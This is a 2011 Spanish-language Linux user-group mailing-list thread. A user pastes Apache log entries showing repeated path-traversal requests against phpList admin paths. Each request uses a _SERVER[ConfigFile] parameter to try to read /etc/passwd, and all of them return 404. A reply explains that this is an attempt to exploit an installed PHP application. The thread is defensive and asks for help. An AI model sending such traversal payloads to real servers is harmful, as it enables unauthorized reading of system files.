[LUG.ro] Logs extraños en apache2 con IPv6

[Omar Arino]

El 28 de mayo de 2011 12:29, Horacio <horacio9573 en gmail.com> escribió:

> Buenas... como poseo un host virtual en ipv6... he visto en los logs
> que aparecen mensajes como estos...
>
> 2001:5c0:1000:b::415c - - [28/May/2011:09:48:26 -0300] "GET
>
> //lists/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
> HTTP/1.0" 404 480 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> 2001:5c0:1000:b::415c - - [28/May/2011:09:48:26 -0300] "GET
>
> //newsletter/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
> HTTP/1.0" 404 485 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> 2001:5c0:1000:b::415c - - [28/May/2011:09:48:27 -0300] "GET
>
> //news/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
> HTTP/1.0" 404 480 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> 2001:5c0:1000:b::415c - - [28/May/2011:09:48:28 -0300] "GET
>
> //phplist/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
> HTTP/1.0" 404 483 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> 2001:5c0:1000:b::415c - - [28/May/2011:09:48:28 -0300] "GET
>
> //phpList/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
> HTTP/1.0" 404 483 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> 2001:5c0:1000:b::415c - - [28/May/2011:09:48:29 -0300] "GET
>
> //admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
> HTTP/1.0" 404 477 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> 2001:5c0:1000:b::415c - - [28/May/2011:09:48:30 -0300] "GET
>
> //phplist/lsts/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
> HTTP/1.0" 404 486 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
> 2001:5c0:1000:b::415c - - [28/May/2011:09:48:30 -0300] "GET
>
> //phplists/admin/index.php?_SERVER[ConfigFile]=../../../../../../../../../../../../../../../../../../../../../../../etc/passwd
> HTTP/1.0" 404 483 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
>
>
> Me sospecho que quieren hackearme el servidor... ipv6... por el error
> 404 supongo que no han podido...
>
>
Si. Te están intentando acceder al archivo passwd infectando una variable de
entorno PHP.
No tiene nada que ver con ipv6 o ipv4, están tratando de hacerlo por medio
de alguna aplicación
PHP que tenés instalada.

Omar


> Si alguien me pude explicar que pasa se lo agradecería... y que me
> recomendarían para que en la afirmativa mejorar la seguridad...
>
> Saludos...
> _______________________________________________
> Lugro mailing list
> Lugro en lugro.org.ar
> http://lugro.org.ar/mailman/listinfo/lugro
>